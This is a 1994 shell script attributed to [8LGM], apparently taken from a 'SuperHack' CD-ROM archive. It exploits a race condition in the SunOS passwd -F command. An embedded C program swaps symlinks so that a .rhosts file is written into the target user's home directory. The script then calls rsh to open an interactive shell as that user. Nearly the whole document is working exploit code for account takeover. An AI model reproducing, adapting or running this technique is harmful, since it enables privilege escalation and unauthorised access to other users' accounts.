home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
SuperHack
/
SuperHack CD.bin
/
Hack
/
UNIX
/
PASSWD~1.ZIP
/
PASSWD~1.TXT
Wrap
Text File
|
1996-04-27
|
5KB
|
203 lines
#!/bin/sh
#
# Syntax: passwdscript target-user
#
# This exploits a flaw in SunOS passwd(1), and attempts
# to become the specified 'user', by creating a .rhosts
# file and using rsh.
#
# Written 1994 by [8LGM]
# Please do not use this script without permission.
#
PATH=/usr/ucb:/usr/bin:/bin export PATH
IFS=" " export IFS
PROG="`basename $0`"
# Check args
if [ $# -ne 1 ]; then
echo "Syntax: $PROG user target-file rsh-user"
exit 1
fi
TARGET_USER="$1"
# Check we're on SunOS
if [ "x`uname -s`" != "xSunOS" ]; then
echo "Sorry, this only works on SunOS"
exit 1
fi
# Make the race program
cat >passwdrace.c << 'EOF'
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <pwd.h>
main(argc, argv)
int argc;
char *argv[];
{
FILE *passwd_in, *passwd_out;
int race_child_pid = -1;
struct stat st;
struct passwd *pw;
char pwd_link[256], pwd_dir[256], pwd_file[256], ptmp[256],
buf[1024], cmd[256], nowhere[256], nowhere2[256],
dir[256];
if (argc != 2) {
fprintf(stderr, "Usage: %s target-user\n",
argv[0]);
exit(1);
}
/*
* Get Target User info
*/
if ((pw = getpwnam(argv[1])) == NULL) {
fprintf(stderr, "%s: user \"%s\" doesnt seem to exist.\n",
argv[0], argv[1]);
exit(1);
}
strcpy(dir, pw->pw_dir);
/*
* Set up names for directories/links we will access
*/
sprintf(pwd_link, "/tmp/passwd-link.%d", getpid());
sprintf(pwd_dir, "/tmp/passwd-dir.%d", getpid());
sprintf(nowhere, "/tmp/passwd-nowhere.%d", getpid());
sprintf(nowhere2, "/tmp/passwd-nowhere2.%d", getpid());
sprintf(ptmp, "%s/ptmp", dir);
symlink(pwd_dir, pwd_link);
/*
* Build temp password file in /tmp/passwd-dir.$$/.rhosts.
* The bigger our 'passwd file', the longer passwd(1) takes
* to write it out, the greater chance we have of noticing
* it doing so and winning the race.
*/
mkdir(pwd_dir, 0700);
sprintf(pwd_file, "%s/.rhosts", pwd_dir);
if ((passwd_out = fopen(pwd_file, "w+")) == NULL) {
fprintf(stderr, "Cant open %s!\n", pwd_file);
exit(1);
}
if ((passwd_in = fopen("/etc/passwd", "r")) == NULL) {
fprintf(stderr, "Cant open /etc/passwd\n");
exit(1);
}
if ((pw = getpwuid(getuid())) == NULL) {
fprintf(stderr, "Who are you?\n");
exit(1);
}
fprintf(passwd_out, "localhost %s ::::::\n", pw->pw_name);
for (;;) {
fseek(passwd_in, 0L, SEEK_SET);
while(fgets(buf, sizeof(buf), passwd_in))
fputs(buf, passwd_out);
if (ftell(passwd_out) > 32768)
break;
}
fclose(passwd_in);
fflush(passwd_out);
/*
* Fork a new process. In the parent, run passwd -F.
* In the child, run the race process(es).
*/
if ((race_child_pid = fork()) < 0) {
perror("fork");
exit(1);
}
if (race_child_pid) {
/*
* Parent - run passwd -F
*/
sprintf(pwd_file, "%s/.rhosts", pwd_link);
puts("Wait until told you see \"Enter your password now!\"");
sprintf(cmd, "/usr/bin/passwd -F %s", pwd_file);
system(cmd);
kill(race_child_pid, 9);
exit(0);
} else {
/*
* Child
*/
int fd = fileno(passwd_out);
time_t last_access;
/*
* Remember the current 'last accessed'
* time for our password file. Once this
* changes it, we know passwd(1) is reading
* it, and we can switch the symlink.
*/
if (fstat(fd, &st)) {
perror("fstat");
exit(1);
}
last_access = st.st_atime;
/*
* Give passwd(1) a chance to start up.
* and do its initialisations. Hopefully
* by now, its asked the user for their
* password.
*/
sleep(5);
write(0, "Enter your password now!\n",
sizeof("Enter your password now!\n"));
/*
* Link our directory to our target directory
*/
unlink(pwd_link);
symlink(dir, pwd_link);
/*
* Create two links pointing to nowhere.
* We use rename(2) to switch these in later.
* (Using unlink(2)/symlink(2) is too slow).
*/
symlink(pwd_dir, nowhere);
symlink(dir, nowhere2);
/*
* Wait until ptmp exists in our target
* dir, then switch the link.
*/
while ((open(ptmp, O_RDONLY)==-1));
rename(nowhere, pwd_link);
/*
* Wait until passwd(1) has accessed our
* 'password file', then switch the link.
*/
while (last_access == st.st_atime)
fstat(fd, &st);
rename(nowhere2, pwd_link);
}
}
EOF
cc -O -o passwdrace passwdrace.c
# Check we now have passwdrace
if [ ! -x "passwdrace" ]; then
echo "$PROG: couldnt compile passwdrace.c - check it out"
exit 1
fi
# Start passwdrace
./passwdrace $TARGET_USER
# Try to rsh
rsh localhost -l $TARGET_USER sh -i
exit 0